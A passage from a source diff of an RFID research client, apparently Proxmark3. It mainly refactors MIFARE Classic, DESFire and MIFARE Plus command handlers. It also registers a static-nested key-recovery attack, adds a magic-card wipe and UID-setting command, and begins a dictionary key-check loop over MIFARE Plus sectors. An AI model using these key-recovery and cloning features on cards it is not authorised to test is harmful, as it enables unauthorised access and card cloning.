(uint8_t i = 0; i < sectorscnt; ++i) { + for (uint8_t i = 0; i < sectorscnt; i++) { snprintf(strA, sizeof(strA), "------------"); snprintf(strB, sizeof(strB), "------------"); @@ -3323,14 +3557,42 @@ void printKeyTable(uint8_t sectorscnt, sector_t *e_sector) { if (e_sector[i].foundKey[1]) snprintf(strB, sizeof(strB), "%012" PRIx64, e_sector[i].Key[1]); + if (e_sector[i].foundKey[0] > 1) { + PrintAndLogEx(NORMAL, "|%03d| %s | " _YELLOW_("%c")"| %s | " _YELLOW_("%c")"|" + , i + , strA, e_sector[i].foundKey[0] + , strB, e_sector[i].foundKey[1] + ); + } else { - PrintAndLogEx(NORMAL, "|%03d| %s | %d | %s | %d |" - , i - , strA, e_sector[i].foundKey[0] - , strB, e_sector[i].foundKey[1] - ); + // keep track if we use start_sector or i... + uint8_t s = start_sector; + if (start_sector == 0) + s = i; + + PrintAndLogEx(NORMAL, "|%03d| %s | " _YELLOW_("%d")"| %s | " _YELLOW_("%d")"|" + , s + , strA, e_sector[i].foundKey[0] + , strB, e_sector[i].foundKey[1] + ); + } } PrintAndLogEx(NORMAL, "|---|----------------|---|----------------|---|"); + + if (e_sector[0].foundKey[0] > 1) { + PrintAndLogEx(INFO, "( " + _YELLOW_("D") ":Dictionary / " + _YELLOW_("S") ":darkSide / " + _YELLOW_("U") ":User / " + _YELLOW_("R") ":Reused / " + _YELLOW_("N") ":Nested / " + _YELLOW_("H") ":Hardnested / " + _YELLOW_("A") ":keyA " + ")" + ); + } else { + PrintAndLogEx(INFO, "( " _YELLOW_("0") ":Failed / " _YELLOW_("1") ":Success)"); + } } @@ -3573,34 +3835,87 @@ static int CmdHF14AMfECFill(const char *Cmd) { } static int CmdHF14AMfEKeyPrn(const char *Cmd) { - int i; - uint8_t numSectors; + + char filename[FILE_PATH_SIZE]; + char *fptr = filename; + uint8_t sectors_cnt = MIFARE_1K_MAXSECTOR; uint8_t data[16]; + uint8_t uid[4]; + uint8_t cmdp = 0; + bool errors = false, createDumpFile = false; - char c = tolower(param_getchar(Cmd, 0)); - if (c == 'h') - return usage_hf14_ekeyprn(); + while (param_getchar(Cmd, cmdp) != 0x00 && !errors) { + char ctmp = tolower(param_getchar(Cmd, cmdp)); + switch (ctmp) { + case 'd': + createDumpFile = true; + cmdp++; + break; + case 'h': + return usage_hf14_ekeyprn(); + case '0': + case '1': + case '2': + case '4': + sectors_cnt = NumOfSectors(ctmp); + if (sectors_cnt == 0) return usage_hf14_ekeyprn(); + cmdp++; + break; + default: + PrintAndLogEx(WARNING, "Unknown parameter '%c'", param_getchar(Cmd, cmdp)); + errors = true; + break; + } + } + // validations + if (errors) return usage_hf14_ekeyprn(); - if (c != 0) { - numSectors = NumOfSectors(c); - if (numSectors == 0) return usage_hf14_ekeyprn(); - } else { - numSectors = MIFARE_1K_MAXSECTOR; + sector_t *e_sector = NULL; + + // create/initialize key storage structure + int32_t res = initSectorTable(&e_sector, sectors_cnt); + if (res != sectors_cnt) { + free(e_sector); + return PM3_EMALLOC; } - PrintAndLogEx(NORMAL, "|---|----------------|----------------|"); - PrintAndLogEx(NORMAL, "|sec|key A |key B |"); - PrintAndLogEx(NORMAL, "|---|----------------|----------------|"); - for (i = 0; i < numSectors; i++) { + // read UID from EMUL + if (mfEmlGetMem(data, 0, 1) != PM3_SUCCESS) { + PrintAndLogEx(WARNING, "error get block %d", 0); + free(e_sector); + return PM3_ESOFT; + } + + memcpy(uid, data, sizeof(uid)); + + // download keys from EMUL + for (int i = 0; i < sectors_cnt; i++) { + if (mfEmlGetMem(data, FirstBlockOfSector(i) + NumBlocksPerSector(i) - 1, 1) != PM3_SUCCESS) { PrintAndLogEx(WARNING, "error get block %d", FirstBlockOfSector(i) + NumBlocksPerSector(i) - 1); - break; + e_sector[i].foundKey[0] = false; + e_sector[i].foundKey[1] = false; + } else { + e_sector[i].foundKey[0] = true; + e_sector[i].Key[0] = bytes_to_num(data, 6); + e_sector[i].foundKey[1] = true; + e_sector[i].Key[1] = bytes_to_num(data + 10, 6); } - uint64_t keyA = bytes_to_num(data, 6); - uint64_t keyB = bytes_to_num(data + 10, 6); - PrintAndLogEx(NORMAL, "|%03d| %012" PRIx64 " | %012" PRIx64 " |", i, keyA, keyB); } - PrintAndLogEx(NORMAL, "|---|----------------|----------------|"); + + // print keys + printKeyTable(sectors_cnt, e_sector); + + // dump the keys + if (createDumpFile) { + + fptr += sprintf(fptr, "hf-mf-"); + FillFileNameByUID(fptr + strlen(fptr), uid, "-key", sizeof(uid)); + + createMfcKeyDump(filename, sectors_cnt, e_sector); + } + + free(e_sector); return PM3_SUCCESS; } @@ -3665,6 +3980,56 @@ static int CmdHF14AMfCSetUID(const char *Cmd) { return PM3_SUCCESS; } +static int CmdHF14AMfCWipe(const char *cmd) { + uint8_t uid[8] = {0x00}; + int uidLen = 0; + uint8_t atqa[2] = {0x00}; + int atqaLen = 0; + uint8_t sak[1] = {0x00}; + int sakLen = 0; + + CLIParserInit("hf mf cwipe", + "Wipe gen1 magic chinese card. Set UID/ATQA/SAK/Data/Keys/Access to default values.", + "Usage:\n\thf mf cwipe -> wipe card.\n" + "\thf mf cwipe -u 09080706 -a 0004 -s 18 -- set UID, ATQA and SAK and wipe card."); + + void *argtable[] = { + arg_param_begin, + arg_str0("uU", "uid", "", "UID for card"), + arg_str0("aA", "atqa", "", "ATQA for card"), + arg_str0("sS", "sak", "", "SAK for card"), + arg_param_end + }; + CLIExecWithReturn(cmd, argtable, true); + + CLIGetHexWithReturn(1, uid, &uidLen); + CLIGetHexWithReturn(2, atqa, &atqaLen); + CLIGetHexWithReturn(3, sak, &sakLen); + CLIParserFree(); + + if (uidLen && uidLen != 4) { + PrintAndLogEx(ERR, "UID length must be 4 bytes instead of: %d", uidLen); + return PM3_EINVARG; + } + if (atqaLen && atqaLen != 2) { + PrintAndLogEx(ERR, "ATQA length must be 2 bytes instead of: %d", atqaLen); + return PM3_EINVARG; + } + if (sakLen && sakLen != 1) { + PrintAndLogEx(ERR, "SAK length must be 1 byte instead of: %d", sakLen); + return PM3_EINVARG; + } + + int res = mfCWipe((uidLen) ? uid : NULL, (atqaLen) ? atqa : NULL, (sakLen) ? sak : NULL); + if (res) { + PrintAndLogEx(ERR, "Can't wipe card. error=%d", res); + return PM3_ESOFT; + } + + PrintAndLogEx(SUCCESS, "Card wiped successfully"); + return PM3_SUCCESS; +} + static int CmdHF14AMfCSetBlk(const char *Cmd) { uint8_t block[16] = {0x00}; uint8_t blockNo = 0; @@ -3944,6 +4309,32 @@ static int CmdHF14AMfCSave(const char *Cmd) { return PM3_EMALLOC; } + // Select card to get UID/UIDLEN information + clearCommandBuffer(); + SendCommandMIX(CMD_HF_ISO14443A_READER, ISO14A_CONNECT, 0, 0, NULL, 0); + PacketResponseNG resp; + if (!WaitForResponseTimeout(CMD_ACK, &resp, 1500)) { + PrintAndLogEx(WARNING, "iso14443a card select failed"); + free(dump); + return PM3_ESOFT; + } + + /* + 0: couldn't read + 1: OK, with ATS + 2: OK, no ATS + 3: proprietary Anticollision + */ + uint64_t select_status = resp.oldarg[0]; + + if (select_status == 0) { + PrintAndLogEx(WARNING, "iso14443a card select failed"); + return select_status; + } + + iso14a_card_select_t card; + memcpy(&card, (iso14a_card_select_t *)resp.data.asBytes, sizeof(iso14a_card_select_t)); + flags = MAGIC_INIT + MAGIC_WUPC; for (i = 0; i < numblocks; i++) { if (i == 1) flags = 0; @@ -3958,7 +4349,7 @@ static int CmdHF14AMfCSave(const char *Cmd) { if (useuid) { fnameptr += sprintf(fnameptr, "hf-mf-"); - FillFileNameByUID(fnameptr, dump, "-dump", 4); + FillFileNameByUID(fnameptr, card.uid, "-dump", card.uidlen); } if (fillEmulator) { @@ -4148,10 +4539,8 @@ static int CmdHF14AMfice(const char *Cmd) { if (resp.oldarg[0]) goto out; uint32_t items = resp.oldarg[2]; - if (fnonces) { - fwrite(resp.data.asBytes, 1, items * 4, fnonces); - fflush(fnonces); - } + fwrite(resp.data.asBytes, 1, items * 4, fnonces); + fflush(fnonces); total_num_nonces += items; if (total_num_nonces > part_limit) { @@ -4211,7 +4600,7 @@ static int CmdHF14AMfAuth4(const char *Cmd) { return PM3_ESOFT; } - return MifareAuth4(NULL, keyn, key, true, false, true); + return MifareAuth4(NULL, keyn, key, true, false, true, true, false); } // https://www.nxp.com/docs/en/application-note/AN10787.pdf @@ -4420,6 +4809,7 @@ static command_t CommandTable[] = { {"darkside", CmdHF14AMfDarkside, IfPm3Iso14443a, "Darkside attack"}, {"nested", CmdHF14AMfNested, IfPm3Iso14443a, "Nested attack"}, {"hardnested", CmdHF14AMfNestedHard, AlwaysAvailable, "Nested attack for hardened MIFARE Classic cards"}, + {"staticnested", CmdHF14AMfNestedStatic, IfPm3Iso14443a, "Nested attack against static nonce MIFARE Classic cards"}, {"autopwn", CmdHF14AMfAutoPWN, IfPm3Iso14443a, "Automatic key recovery tool for MIFARE Classic"}, // {"keybrute", CmdHF14AMfKeyBrute, IfPm3Iso14443a, "J_Run's 2nd phase of multiple sector nested authentication key recovery"}, {"nack", CmdHf14AMfNack, IfPm3Iso14443a, "Test for MIFARE NACK bug"}, @@ -4446,6 +4836,7 @@ static command_t CommandTable[] = { {"ekeyprn", CmdHF14AMfEKeyPrn, IfPm3Iso14443a, "Print keys from simulator memory"}, {"-----------", CmdHelp, IfPm3Iso14443a, ""}, {"csetuid", CmdHF14AMfCSetUID, IfPm3Iso14443a, "Set UID (magic chinese card)"}, + {"cwipe", CmdHF14AMfCWipe, IfPm3Iso14443a, "Wipe card to default UID/Sectors/Keys"}, {"csetblk", CmdHF14AMfCSetBlk, IfPm3Iso14443a, "Write block (magic chinese card)"}, {"cgetblk", CmdHF14AMfCGetBlk, IfPm3Iso14443a, "Read block (magic chinese card)"}, {"cgetsc", CmdHF14AMfCGetSc, IfPm3Iso14443a, "Read sector (magic chinese card)"}, diff --git a/client/cmdhfmf.h b/client/cmdhfmf.h index 55997bd87..c650b90f9 100644 --- a/client/cmdhfmf.h +++ b/client/cmdhfmf.h @@ -22,5 +22,6 @@ int CmdHF14AMfDbg(const char *Cmd); // used by cmd hf mfu dbg void showSectorTable(void); void readerAttack(nonces_t data, bool setEmulatorMem, bool verbose); void printKeyTable(uint8_t sectorscnt, sector_t *e_sector); +void printKeyTableEx(uint8_t sectorscnt, sector_t *e_sector, uint8_t start_sector); void printKeyTable_fast(uint8_t sectorscnt, icesector_t *e_sector, uint64_t bar, uint64_t foo); #endif diff --git a/client/cmdhfmfdes.c b/client/cmdhfmfdes.c index 17dd97289..9c35a195d 100644 --- a/client/cmdhfmfdes.c +++ b/client/cmdhfmfdes.c @@ -33,7 +33,7 @@ static int CmdHF14ADesInfo(const char *Cmd) { if (!WaitForResponseTimeout(CMD_ACK, &resp, 1500)) { PrintAndLogEx(WARNING, "Command execute timeout"); - return 0; + return PM3_ETIMEOUT; } uint8_t isOK = resp.oldarg[0] & 0xff; if (!isOK) { @@ -49,7 +49,7 @@ static int CmdHF14ADesInfo(const char *Cmd) { PrintAndLogEx(WARNING, "Command unsuccessful"); break; } - return 0; + return PM3_ESOFT; } PrintAndLogEx(NORMAL, ""); PrintAndLogEx(NORMAL, "-- Desfire Information --------------------------------------"); @@ -82,7 +82,7 @@ static int CmdHF14ADesInfo(const char *Cmd) { uint8_t data[1] = {GET_FREE_MEMORY}; SendCommandOLD(CMD_HF_DESFIRE_COMMAND, (INIT | DISCONNECT), 0x01, 0, data, sizeof(data)); if (!WaitForResponseTimeout(CMD_ACK, &resp, 1500)) - return 0; + return PM3_ETIMEOUT; uint8_t tmp[3]; memcpy(tmp, resp.data.asBytes + 3, 3); @@ -105,7 +105,7 @@ static int CmdHF14ADesInfo(const char *Cmd) { */ - return 1; + return PM3_SUCCESS; } /* @@ -189,10 +189,12 @@ void getKeySettings(uint8_t *aid) { PrintAndLogEx(NORMAL, " [0x02] Directory list access with CMK : %s", str); str = (resp.data.asBytes[3] & (1 << 0)) ? "YES" : "NO"; PrintAndLogEx(NORMAL, " [0x01] CMK is changeable : %s", str); + { uint8_t data[2] = {GET_KEY_VERSION, 0}; // 0x64 - SendCommandOLD(CMD_HF_DESFIRE_COMMAND, INIT | DISCONNECT, sizeof(data), 0, data, sizeof(data)); + SendCommandMIX(CMD_HF_DESFIRE_COMMAND, INIT | DISCONNECT, sizeof(data), 0, data, sizeof(data)); } + if (!WaitForResponseTimeout(CMD_ACK, &resp, 1000)) { return; } isOK = resp.oldarg[0] & 0xff; if (!isOK) { @@ -206,24 +208,27 @@ void getKeySettings(uint8_t *aid) { { uint8_t data[2] = {AUTHENTICATE, 0}; // 0x0A, KEY 0 - SendCommandOLD(CMD_HF_DESFIRE_COMMAND, INIT | DISCONNECT, sizeof(data), 0, data, sizeof(data)); + SendCommandMIX(CMD_HF_DESFIRE_COMMAND, INIT | DISCONNECT, sizeof(data), 0, data, sizeof(data)); } + if (!WaitForResponseTimeout(CMD_ACK, &resp, 1000)) {return;} isOK = resp.data.asBytes[2] & 0xff; PrintAndLogEx(NORMAL, " [0x0A] Authenticate : %s", (isOK == 0xAE) ? "NO" : "YES"); { uint8_t data[2] = {AUTHENTICATE_ISO, 0}; // 0x1A, KEY 0 - SendCommandOLD(CMD_HF_DESFIRE_COMMAND, INIT | DISCONNECT, sizeof(data), 0, data, sizeof(data)); + SendCommandMIX(CMD_HF_DESFIRE_COMMAND, INIT | DISCONNECT, sizeof(data), 0, data, sizeof(data)); } + if (!WaitForResponseTimeout(CMD_ACK, &resp, 1000)) {return;} isOK = resp.data.asBytes[2] & 0xff; PrintAndLogEx(NORMAL, " [0x1A] Authenticate ISO : %s", (isOK == 0xAE) ? "NO" : "YES"); { uint8_t data[2] = {AUTHENTICATE_AES, 0}; // 0xAA, KEY 0 - SendCommandOLD(CMD_HF_DESFIRE_COMMAND, INIT | DISCONNECT, sizeof(data), 0, data, sizeof(data)); + SendCommandMIX(CMD_HF_DESFIRE_COMMAND, INIT | DISCONNECT, sizeof(data), 0, data, sizeof(data)); } + if (!WaitForResponseTimeout(CMD_ACK, &resp, 1000)) {return;} isOK = resp.data.asBytes[2] & 0xff; PrintAndLogEx(NORMAL, " [0xAA] Authenticate AES : %s", (isOK == 0xAE) ? "NO" : "YES"); @@ -237,7 +242,7 @@ void getKeySettings(uint8_t *aid) { { uint8_t data[4] = {SELECT_APPLICATION}; // 0x5a memcpy(data + 1, aid, 3); - SendCommandOLD(CMD_HF_DESFIRE_COMMAND, INIT | CLEARTRACE, sizeof(data), 0, data, sizeof(data)); + SendCommandMIX(CMD_HF_DESFIRE_COMMAND, INIT | CLEARTRACE, sizeof(data), 0, data, sizeof(data)); } if (!WaitForResponseTimeout(CMD_ACK, &resp, 1500)) { PrintAndLogEx(WARNING, " Timed-out"); @@ -252,8 +257,9 @@ void getKeySettings(uint8_t *aid) { // KEY SETTINGS { uint8_t data[1] = {GET_KEY_SETTINGS}; // 0x45 - SendCommandOLD(CMD_HF_DESFIRE_COMMAND, NONE, sizeof(data), 0, data, sizeof(data)); + SendCommandMIX(CMD_HF_DESFIRE_COMMAND, NONE, sizeof(data), 0, data, sizeof(data)); } + if (!WaitForResponseTimeout(CMD_ACK, &resp, 1500)) { return; } @@ -294,8 +300,9 @@ void getKeySettings(uint8_t *aid) { // KEY VERSION - AMK { uint8_t data[2] = {GET_KEY_VERSION, 0}; // 0x64 - SendCommandOLD(CMD_HF_DESFIRE_COMMAND, NONE, sizeof(data), 0, data, sizeof(data)); + SendCommandMIX(CMD_HF_DESFIRE_COMMAND, NONE, sizeof(data), 0, data, sizeof(data)); } + if (!WaitForResponseTimeout(CMD_ACK, &resp, 1500)) { PrintAndLogEx(WARNING, " Timed-out"); return; @@ -318,11 +325,10 @@ void getKeySettings(uint8_t *aid) { // LOOP over numOfKeys that we got before. // From 0x01 to numOfKeys. We already got 0x00. (AMK) // TODO (iceman) - for (int i = 0x01; i <= 0x0f; ++i) { - - } - - + /* + for (int i = 0x01; i <= 0x0f; ++i) { + } + */ } } @@ -333,17 +339,18 @@ static int CmdHF14ADesEnumApplications(const char *Cmd) { uint8_t aid[3]; { uint8_t data[1] = {GET_APPLICATION_IDS}; //0x6a - SendCommandOLD(CMD_HF_DESFIRE_COMMAND, INIT | DISCONNECT, sizeof(data), 0, data, sizeof(data)); + SendCommandMIX(CMD_HF_DESFIRE_COMMAND, INIT | DISCONNECT, sizeof(data), 0, data, sizeof(data)); } PacketResponseNG resp; if (!WaitForResponseTimeout(CMD_ACK, &resp, 1500)) { - return 0; + return PM3_ETIMEOUT; } + isOK = resp.oldarg[0] & 0xff; if (!isOK) { PrintAndLogEx(NORMAL, "Command unsuccessful"); - return 0; + return PM3_ESOFT; } PrintAndLogEx(NORMAL, ""); PrintAndLogEx(NORMAL, "-- Desfire Enumerate Applications ---------------------------"); @@ -368,7 +375,7 @@ static int CmdHF14ADesEnumApplications(const char *Cmd) { { uint8_t data[4] = {SELECT_APPLICATION}; // 0x5a memcpy(data + 1, &resp.data.asBytes[i], 3); - SendCommandOLD(CMD_HF_DESFIRE_COMMAND, INIT, sizeof(data), 0, data, sizeof(data)); + SendCommandMIX(CMD_HF_DESFIRE_COMMAND, INIT, sizeof(data), 0, data, sizeof(data)); } if (!WaitForResponseTimeout(CMD_ACK, &respAid, 1500)) { @@ -384,7 +391,7 @@ static int CmdHF14ADesEnumApplications(const char *Cmd) { // Get File IDs { uint8_t data[1] = {GET_FILE_IDS}; // 0x6f - SendCommandOLD(CMD_HF_DESFIRE_COMMAND, NONE, sizeof(data), 0, data, sizeof(data)); + SendCommandMIX(CMD_HF_DESFIRE_COMMAND, NONE, sizeof(data), 0, data, sizeof(data)); } if (!WaitForResponseTimeout(CMD_ACK, &respFiles, 1500)) { @@ -405,7 +412,7 @@ static int CmdHF14ADesEnumApplications(const char *Cmd) { // Get ISO File IDs { uint8_t data[1] = {GET_ISOFILE_IDS}; // 0x61 - SendCommandOLD(CMD_HF_DESFIRE_COMMAND, DISCONNECT, sizeof(data), 0, data, sizeof(data)); + SendCommandMIX(CMD_HF_DESFIRE_COMMAND, DISCONNECT, sizeof(data), 0, data, sizeof(data)); } if (!WaitForResponseTimeout(CMD_ACK, &respFiles, 1500)) { @@ -422,13 +429,9 @@ static int CmdHF14ADesEnumApplications(const char *Cmd) { } } } - - } PrintAndLogEx(NORMAL, "-------------------------------------------------------------"); - - - return 1; + return PM3_SUCCESS; } // MIAFRE DesFire Authentication @@ -456,7 +459,7 @@ static int CmdHF14ADesAuth(const char *Cmd) { PrintAndLogEx(NORMAL, "Examples:"); PrintAndLogEx(NORMAL, " hf mfdes auth 1 1 0 11223344"); PrintAndLogEx(NORMAL, " hf mfdes auth 3 4 0 404142434445464748494a4b4c4d4e4f"); - return 0; + return PM3_SUCCESS; } uint8_t cmdAuthMode = param_get8(Cmd, 0); uint8_t cmdAuthAlgo = param_get8(Cmd, 1); @@ -466,25 +469,24 @@ static int CmdHF14ADesAuth(const char *Cmd) { case 1: if (cmdAuthAlgo != 1 && cmdAuthAlgo != 2) { PrintAndLogEx(NORMAL, "Crypto algo not valid for the auth mode"); - return 1; + return PM3_EINVARG; } break; case 2: if (cmdAuthAlgo != 1 && cmdAuthAlgo != 2 && cmdAuthAlgo != 3) { PrintAndLogEx(NORMAL, "Crypto algo not valid for the auth mode"); - return 1; + return PM3_EINVARG; } break; case 3: if (cmdAuthAlgo != 4) { PrintAndLogEx(NORMAL, "Crypto algo not valid for the auth mode"); - return 1; + return PM3_EINVARG; } break; default: PrintAndLogEx(WARNING, "Wrong Auth mode"); - return 1; - break; + return PM3_EINVARG; } switch (cmdAuthAlgo) { @@ -510,8 +512,9 @@ static int CmdHF14ADesAuth(const char *Cmd) { // key if (param_gethex(Cmd, 3, key, keylength * 2)) { PrintAndLogEx(WARNING, "Key must include %d HEX symbols", keylength); - return 1; + return PM3_EINVARG; } + // algo, keylength, uint8_t data[25] = {keylength}; // max length: 1 + 24 (3k3DES) memcpy(data + 1, key, keylength); @@ -521,22 +524,22 @@ static int CmdHF14ADesAuth(const char *Cmd) { if (!WaitForResponseTimeout(CMD_ACK, &resp, 3000)) { PrintAndLogEx(WARNING, "Client command execute timeout"); - return 0; + return PM3_ETIMEOUT; } uint8_t isOK = resp.oldarg[0] & 0xff; if (isOK) { - uint8_t *session = resp.data.asBytes; + uint8_t *session_key = resp.data.asBytes; PrintAndLogEx(NORMAL, " Key :%s", sprint_hex(key, keylength)); - PrintAndLogEx(NORMAL, " SESSION :%s", sprint_hex(session, keylength)); + PrintAndLogEx(NORMAL, " SESSION :%s", sprint_hex(session_key, keylength)); PrintAndLogEx(NORMAL, "-------------------------------------------------------------"); //PrintAndLogEx(NORMAL, " Expected :B5 21 9E E8 1A A7 49 9D 21 96 68 7E 13 97 38 56"); } else { PrintAndLogEx(NORMAL, "Client command failed."); } PrintAndLogEx(NORMAL, "-------------------------------------------------------------"); - return 1; + return PM3_SUCCESS; } @@ -553,7 +556,7 @@ static command_t CommandTable[] = { static int CmdHelp(const char *Cmd) { (void)Cmd; // Cmd is not used so far CmdsHelp(CommandTable); - return 0; + return PM3_SUCCESS; } int CmdHFMFDes(const char *Cmd) { diff --git a/client/cmdhfmfp.c b/client/cmdhfmfp.c index c6af6305a..9c7b9cb3c 100644 --- a/client/cmdhfmfp.c +++ b/client/cmdhfmfp.c @@ -25,14 +25,18 @@ #include "cliparser/cliparser.h" #include "emv/dump.h" #include "mifare/mifaredefault.h" +#include "util_posix.h" +#include "fileutils.h" static const uint8_t DefaultKey[16] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff}; +uint16_t CardAddresses[] = {0x9000, 0x9001, 0x9002, 0x9003, 0x9004, 0xA000, 0xA001, 0xA080, 0xA081, 0xC000, 0xC001}; + static int CmdHelp(const char *Cmd); -static int CmdHFMFPInfo(const char *cmd) { +static int CmdHFMFPInfo(const char *Cmd) { - if (cmd && strlen(cmd) > 0) + if (Cmd && strlen(Cmd) > 0) PrintAndLogEx(WARNING, "command don't have any parameters.\n"); // info about 14a part @@ -88,7 +92,7 @@ static int CmdHFMFPInfo(const char *cmd) { int datalen = 0; // https://github.com/Proxmark/proxmark3/blob/master/client/luascripts/mifarePlus.lua#L161 uint8_t cmd[3 + 16] = {0xa8, 0x90, 0x90, 0x00}; - int res = ExchangeRAW14a(cmd, sizeof(cmd), false, false, data, sizeof(data), &datalen); + int res = ExchangeRAW14a(cmd, sizeof(cmd), false, false, data, sizeof(data), &datalen, false); if (!res && datalen > 1 && data[0] == 0x09) { SLmode = 0; } @@ -105,10 +109,10 @@ static int CmdHFMFPInfo(const char *cmd) { DropField(); - return 0; + return PM3_SUCCESS; } -static int CmdHFMFPWritePerso(const char *cmd) { +static int CmdHFMFPWritePerso(const char *Cmd) { uint8_t keyNum[64] = {0}; int keyNumLen = 0; uint8_t key[64] = {0}; @@ -126,7 +130,7 @@ static int CmdHFMFPWritePerso(const char *cmd) { arg_strx0(NULL, NULL, "", NULL), arg_param_end }; - CLIExecWithReturn(cmd, argtable, true); + CLIExecWithReturn(Cmd, argtable, true); bool verbose = arg_get_lit(1); CLIGetHexWithReturn(2, keyNum, &keyNumLen); @@ -169,12 +173,10 @@ static int CmdHFMFPWritePerso(const char *cmd) { } PrintAndLogEx(INFO, "Write OK."); - return 0; + return PM3_SUCCESS; } -uint16_t CardAddresses[] = {0x9000, 0x9001, 0x9002, 0x9003, 0x9004, 0xA000, 0xA001, 0xA080, 0xA081, 0xC000, 0xC001}; - -static int CmdHFMFPInitPerso(const char *cmd) { +static int CmdHFMFPInitPerso(const char *Cmd) { int res; uint8_t key[256] = {0}; int keyLen = 0; @@ -193,7 +195,7 @@ static int CmdHFMFPInitPerso(const char *cmd) { arg_strx0(NULL, NULL, "", NULL), arg_param_end }; - CLIExecWithReturn(cmd, argtable, true); + CLIExecWithReturn(Cmd, argtable, true); bool verbose = arg_get_lit(1); bool verbose2 = arg_get_lit(1) > 1; @@ -245,10 +247,10 @@ static int CmdHFMFPInitPerso(const char *cmd) { PrintAndLogEx(INFO, "Done."); - return 0; + return PM3_SUCCESS; } -static int CmdHFMFPCommitPerso(const char *cmd) { +static int CmdHFMFPCommitPerso(const char *Cmd) { CLIParserInit("hf mfp commitp", "Executes Commit Perso command. Can be used in SL0 mode only.", "Usage:\n\thf mfp commitp -> \n"); @@ -259,7 +261,7 @@ static int CmdHFMFPCommitPerso(const char *cmd) { arg_int0(NULL, NULL, "SL mode", NULL), arg_param_end }; - CLIExecWithReturn(cmd, argtable, true); + CLIExecWithReturn(Cmd, argtable, true); bool verbose = arg_get_lit(1); CLIParserFree(); @@ -286,10 +288,10 @@ static int CmdHFMFPCommitPerso(const char *cmd) { } PrintAndLogEx(INFO, "Switch level OK."); - return 0; + return PM3_SUCCESS; } -static int CmdHFMFPAuth(const char *cmd) { +static int CmdHFMFPAuth(const char *Cmd) { uint8_t keyn[250] = {0}; int keynlen = 0; uint8_t key[250] = {0}; @@ -307,7 +309,7 @@ static int CmdHFMFPAuth(const char *cmd) { arg_str1(NULL, NULL, "", NULL), arg_param_end }; - CLIExecWithReturn(cmd, argtable, true); + CLIExecWithReturn(Cmd, argtable, true); bool verbose = arg_get_lit(1); CLIGetHexWithReturn(2, keyn, &keynlen); @@ -324,10 +326,10 @@ static int CmdHFMFPAuth(const char *cmd) { return 1; } - return MifareAuth4(NULL, keyn, key, true, false, verbose); + return MifareAuth4(NULL, keyn, key, true, false, true, verbose, false); } -static int CmdHFMFPRdbl(const char *cmd) { +static int CmdHFMFPRdbl(const char *Cmd) { uint8_t keyn[2] = {0}; uint8_t key[250] = {0}; int keylen = 0; @@ -347,7 +349,7 @@ static int CmdHFMFPRdbl(const char *cmd) { arg_str0(NULL, NULL, "", NULL), arg_param_end }; - CLIExecWithReturn(cmd, argtable, false); + CLIExecWithReturn(Cmd, argtable, false); bool verbose = arg_get_lit(1); int blocksCount = arg_get_int_def(2, 1); @@ -391,8 +393,8 @@ static int CmdHFMFPRdbl(const char *cmd) { if (verbose) PrintAndLogEx(INFO, "--block:%d sector[%d]:%02x key:%04x", blockn, mfNumBlocksPerSector(sectorNum), sectorNum, uKeyNum); - mf4Session mf4session; - int res = MifareAuth4(&mf4session, keyn, key, true, true, verbose); + mf4Session_t mf4session; + int res = MifareAuth4(&mf4session, keyn, key, true, true, true, verbose, false); if (res) { PrintAndLogEx(ERR, "Authentication error: %d", res); return res; @@ -439,7 +441,7 @@ static int CmdHFMFPRdbl(const char *cmd) { return 0; } -static int CmdHFMFPRdsc(const char *cmd) { +static int CmdHFMFPRdsc(const char *Cmd) { uint8_t keyn[2] = {0}; uint8_t key[250] = {0}; int keylen = 0; @@ -458,7 +460,7 @@ static int CmdHFMFPRdsc(const char *cmd) { arg_str0(NULL, NULL, "", NULL), arg_param_end }; - CLIExecWithReturn(cmd, argtable, false); + CLIExecWithReturn(Cmd, argtable, false); bool verbose = arg_get_lit(1); bool keyB = arg_get_lit(2); @@ -490,8 +492,8 @@ static int CmdHFMFPRdsc(const char *cmd) { if (verbose) PrintAndLogEx(INFO, "--sector[%d]:%02x key:%04x", mfNumBlocksPerSector(sectorNum), sectorNum, uKeyNum); - mf4Session mf4session; - int res = MifareAuth4(&mf4session, keyn, key, true, true, verbose); + mf4Session_t mf4session; + int res = MifareAuth4(&mf4session, keyn, key, true, true, true, verbose, false); if (res) { PrintAndLogEx(ERR, "Authentication error: %d", res); return res; @@ -532,10 +534,10 @@ static int CmdHFMFPRdsc(const char *cmd) { } DropField(); - return 0; + return PM3_SUCCESS; } -static int CmdHFMFPWrbl(const char *cmd) { +static int CmdHFMFPWrbl(const char *Cmd) { uint8_t keyn[2] = {0}; uint8_t key[250] = {0}; int keylen = 0; @@ -556,7 +558,7 @@ static int CmdHFMFPWrbl(const char *cmd) { arg_str0(NULL, NULL, "", NULL), arg_param_end }; - CLIExecWithReturn(cmd, argtable, false); + CLIExecWithReturn(Cmd, argtable, false); bool verbose = arg_get_lit(1); bool keyB = arg_get_lit(2); @@ -594,8 +596,8 @@ static int CmdHFMFPWrbl(const char *cmd) { if (verbose) PrintAndLogEx(INFO, "--block:%d sector[%d]:%02x key:%04x", blockNum & 0xff, mfNumBlocksPerSector(sectorNum), sectorNum, uKeyNum); - mf4Session mf4session; - int res = MifareAuth4(&mf4session, keyn, key, true, true, verbose); + mf4Session_t mf4session; + int res = MifareAuth4(&mf4session, keyn, key, true, true, true, verbose, false); if (res) { PrintAndLogEx(ERR, "Authentication error: %d", res); return res; @@ -634,10 +636,336 @@ static int CmdHFMFPWrbl(const char *cmd) { DropField(); PrintAndLogEx(INFO, "Write OK."); - return 0; + return PM3_SUCCESS; } -static int CmdHFMFPMAD(const char *cmd) { +#define AES_KEY_LEN 16 +#define MAX_KEYS_LIST_LEN 1024 + +int MFPKeyCheck(uint8_t startSector, uint8_t endSector, uint8_t startKeyAB, uint8_t endKeyAB, + uint8_t keyList[MAX_KEYS_LIST_LEN][AES_KEY_LEN], size_t keyListLen, uint8_t foundKeys[2][64][AES_KEY_LEN + 1], + bool verbose) { + int res; + bool selectCard = true; + uint8_t keyn[2] = {0}; + + // sector number from 0 + for (uint8_t sector = startSector; sector <= endSector; sector++) { + // 0-keyA 1-keyB + for (uint8_t keyAB = startKeyAB; keyAB <= endKeyAB; keyAB++) { + // main cycle with key check + for (int i = 0; i < keyListLen; i++) { + if (i % 10 == 0) { + if (!verbose) + printf("."); + if (kbd_enter_pressed()) { + PrintAndLogEx(WARNING, "\nAborted via keyboard!\n"); + DropField(); + return PM3_EOPABORTED; + } + } + + uint16_t uKeyNum = 